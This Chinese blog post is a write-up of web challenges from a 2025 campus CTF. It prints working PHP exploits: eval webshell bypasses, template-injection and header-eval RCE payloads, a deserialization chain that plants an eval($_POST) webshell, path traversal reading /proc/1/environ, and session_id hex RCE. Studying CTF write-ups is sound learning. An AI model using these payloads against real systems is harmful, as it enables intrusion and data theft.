杭师大校赛2025


当时,周六早九点开赛,晚上九点结束,但我七点就去机房开会了。做出了四道题目。

火眼辩魑魅

当时比赛时做出来了

1
shell学姐会让青春CTF少年脸红吗?只有一个洞是通的,看不出来的话就尝试每个漏洞都试一遍哦,杂鱼~

我先是目录扫描,发现了robotx.txt
访问

1
2
3
4
5
6
7
User-Agent: *
Disallow: tgupload.php
Disallow: tgshell.php
Disallow: tgxff.php
Disallow: tgser.php
Disallow: tgphp.php
Disallow: tginclude.php

六个,都可以访问,都有可能拿到flag,但只会是一个(题目告诉你了)。题目还告诉你shell学姐,其实就是gtshell.php的那个文件
对于第一个,http://127.0.0.1:51596/tgupload.php。

1
2
3
4
Warning: move_uploaded_file(uploads/muma.php): failed to open stream: Permission denied in /var/www/html/tgupload.php on line 46

Warning: move_uploaded_file(): Unable to move '/tmp/phpjniMhk' to 'uploads/muma.php' in /var/www/html/tgupload.php on line 46
文件保存出错!

这个应该就是不可以的,我也没有试太多。好像学长是靠这个做了出来,我没有试太多
对于第二个,我是拿这个解出来的,但是看官方的wp,不是这个

1
2
3
4
5
6
7
<?php
$shell=$_POST["shell"];
{
eval($shell);
}
?>
哇,贞德是你鸭!

我们抓包发送到reperter,修改请求方式,发现这里可以取反绕过
取反脚本

1
2
3
4
<?php
$a = urlencode(~'phpinfo');
echo $a;
?>

先system(‘ls /‘);,shell=(%8C%86%8C%8B%9A%92)(%93%8C%DF%D0);
tgfffffllllaagggggg有这个,cat /tgfffffllllaagggggg
拿到flag
第三个tgxff是官方的做法,一进去显示你电脑的IP是:127.0.0.1
我们用hackbar来输入xff,输入49是有回显49的,但是你后面来输入其他的”.__class__这些都不可以*
我就以为不可以了,但是官方的wp

1
{if system('cat /tgf*');}{/if}

官方wp有点问题,分号不要
应该是:{if system(‘cat /tgf*’)}{/if},最后拿到flag了*
这里我还有一个问题是对于各种模板的注入,我基本只掌握了jinjia2的

1
{if system('cat /tgf*')}{/if} 这种语法格式是特定模板引擎的表现。不同的模板引擎有着各自独特的语法规则。常见的像 Twig 模板引擎,它的语法风格就和常用的以 {{ }} 为输出、{% %} 为逻辑控制(如 Django、Jinja2 等模板引擎)有很大差异 。在 Twig 中,条件判断使用 {if} 和 {/if} 结构 ,如果在使用 Twig 等类似语法规则的模板引擎的项目中进行服务器端模板注入(SSTI)攻击,就可能会用到这种语法来构造恶意语句

第四个,是一个反序列化的,当时是问了ai,用了它的payload没有解决出来,就算了。没有细看
第五是只放出来数字这些,也没细看
第六个http://127.0.0.1:50092/tginclude.php,把你要包含的文件给显示出来,
我没有尝试很多,可能会有非预期的解能拿到flag
../../../../proc/1/environ试了这个不可以

直面天命

当时做出来了
filename随便读,这里读?filename=../../../../proc/1/environ。我读的是filename为flag也可以哎
我做出这道题也是非预期解,哈哈
首先是查看网页源代码,有个hint,告诉你还有一个路由,路由是由四个小写字母组成的
写一个脚本,把所有四个小写字母组成的情况写入一个文件,一行一行的,进行爆破,得到/aazz
后面直接出提示了,免费给你,就没有意思了
我们在这里访问/aazz
请求头有一个
inline; filename=file.html
我构造?filename=flag,直接拿到flag了
这里也可以使用?filename=../../../../proc/1/environ拿到flag
还有一些疑问问了ai

1
2
3
4
5
6
7
8
?filename=../../../../proc/1/environ,前面的四个../是什么意思,固定的吗
../../../../ 中的 ../ 是在类 Unix 系统(如 Linux、MacOS 等)文件路径表示里用于目录回溯的符号。以下是详细解释:

含义:.. 代表当前目录的父目录 ,/ 是路径分隔符 。../ 组合起来就表示向上一级目录移动。../../../../ 就是连续四次向上回溯目录,比如当前在 /var/www/html 目录下,使用 ../../ 就会回到 /var 目录。
是否固定:不是固定的 。使用几个 ../ 取决于目标文件或目录相对于当前目录的位置关系。比如目标文件在当前目录的上两级目录,那就用 ../../ ;如果在当前目录下的子目录中,就不需要用 ../ ,直接写子目录名和文件名即可。


在 ?filename=../../../../proc/1/environ 中,大概率是利用文件包含漏洞等场景下构造的路径。攻击者试图通过多次回溯目录,突破当前目录限制,去访问 /proc/1/environ 这个文件(/proc/1/environ 存储着进程号为 1 的进程的环境变量信息 ),以获取敏感信息。

1改为2就不存在了,这样显示的
当然,这两种方法都是非预期解

1
2
3
4
5
6
7
8
9
10
这时候进行参数字典爆破。发现有一个filename可以传参。
然后filename是一个文件读取的函数。
这时候我们直接读取app.py的源码。
发现里面有:
import os
import string
from flask import Flask, request, render_template_string,
jsonify,send_from_directory
from a.b.c.d.secret import secret_key
狂风之中,恍惚之时,只听闻断续传来: 参数......?(本页面可以传参) 所以可知/a/b/c/d/secret里面有secret_key。是直面天命。

后面就是一个ssti,我没有完全复现,它那个地址没搞懂,找不到页面
绕过的具体过程也不是很懂

AAA偷渡阴平

当时比赛时做出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

这个应该有很多非预期解,所以后面上线了一个复仇版
?tgctf2025=print_r(pos(getallheaders())); 有回显,回显了close
Connection: close
我们改print_r为eval,再改close为我们要执行的命令,拿到flag
Connection: system(‘cat /flag’);,最后拿到flag

什么文件上传?

这个当时比赛时也做出来了,花了很多时间
访问robots.txt,有两个重要信息

1
2
3
4
5
6
7
8
9
User-Agent: *
Disallow: /admin/
Disallow: /private/
Disallow: /baidu
Disallow: /s?
Disallow: /unlink
Disallow: /phar
Disallow: !@*($^&*!@^&!*(@$# <--!文件上传后缀是三个小写字母 !@#$*&^(!%@#$#^&!-->
Disallow: /class.php

一个就是之前也遇到过的,我们要写一个脚本,所有的三个小写字母的组合,一行一行地写进文件里面,然后我们去爆破
好像后缀是.atg这个。我试了.php.atg,.atg.php等等都不行,还有上传.htaccess,.user.ini这些都不可以。无法当成可执行的脚本,连接蚁剑这些都是不可以的
访问/class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

这题非预期解是base64_encode()五次,并且直接传参filename。
直接获取shell。然后wow用POST传参,就是一句话木马,flag在环境变量。
当时用的是ai的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class yesterday {
public $learn;
public $study = "study";
public $try;
public function __destruct() {
return $this->study->hard();
}
}

class today {
public $doing;
public function __call($arg1, $arg2) {
return $this->doing->better;
}
}

class future {
public function __toString() {
@eval($_POST['a']); // 蚁剑的一句话
return "win";
}
}

$y = new yesterday();
$t = new today();
$f = new future();

$t->doing = $f;
$y->study = $t;

$payload = serialize($y);
for ($i = 0; $i < 5; $i++) {
$payload = base64_encode($payload);
}

echo $payload;

get方式传上面的结果,post方式传wow=tac /flag,最后拿到flag

AAA偷渡阴平(复仇)

这里就是把很多非预期解给禁了,需要你用他预期的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

这不是明显的要你用预期解吗?禁的都是非预期解会用到的东西
考点总结:PHP session_id 绕过waf RCE
题目描述:web签到1。简单的PHP特性,ban了无参RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
无参数sessionRCE:
session(php7以下):
session_start():启动新会话或者现有会话,成功开始新会话返回TRUE,反之返回FALSE
session_id(session_start()).外面可以再加一个print_r。
Print_r改为show_source(),用bp抓包修改PHPSESSID的值为./flag。用show_source读取flag文件源代码
重点:1.我抓包,cookie里有phpsessid=。。。
2.尝试print_r(session_id(session_)start())返回的结果是我的这个。。。
3.用bp将phpsessid的值改为./flag,改print_r为show_source。
4.最后拿到flag
5.或者修改外部函数为eval(),修改phpsession的值为命令为‘phpinfo();’但是无法直接执行,需要先把命令'phpinfo();'HEX编码为十六进制,写入PHPSESSION.再用hex2bin函数将16进制改为而进制数,用eval()执行。?code=eval(hex2bin(session_id(session_start())));
session
?code=evẩl(hex2bin(session id(session start())))
修改外部函数为eval()
修改PHPSESSID的值为命令'phpinfo();
无法直接执行,需先把命令'phpinfo();HEX编码转为十六进制,写入PHPSESSID
再用hex2bin()函数将十六进制转换为二进制数,用eval执行

这是之前我看一些课程记得笔记,没遇到过自然不是很熟悉,也不太会用
把课再听一遍(相关部分),再补充一下笔记,再来做这道题目
?tgctf2025=session_start();system(hex2bin(session_id()));
PHPSESSID=636174202f666c6167       的十六进制


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
  目录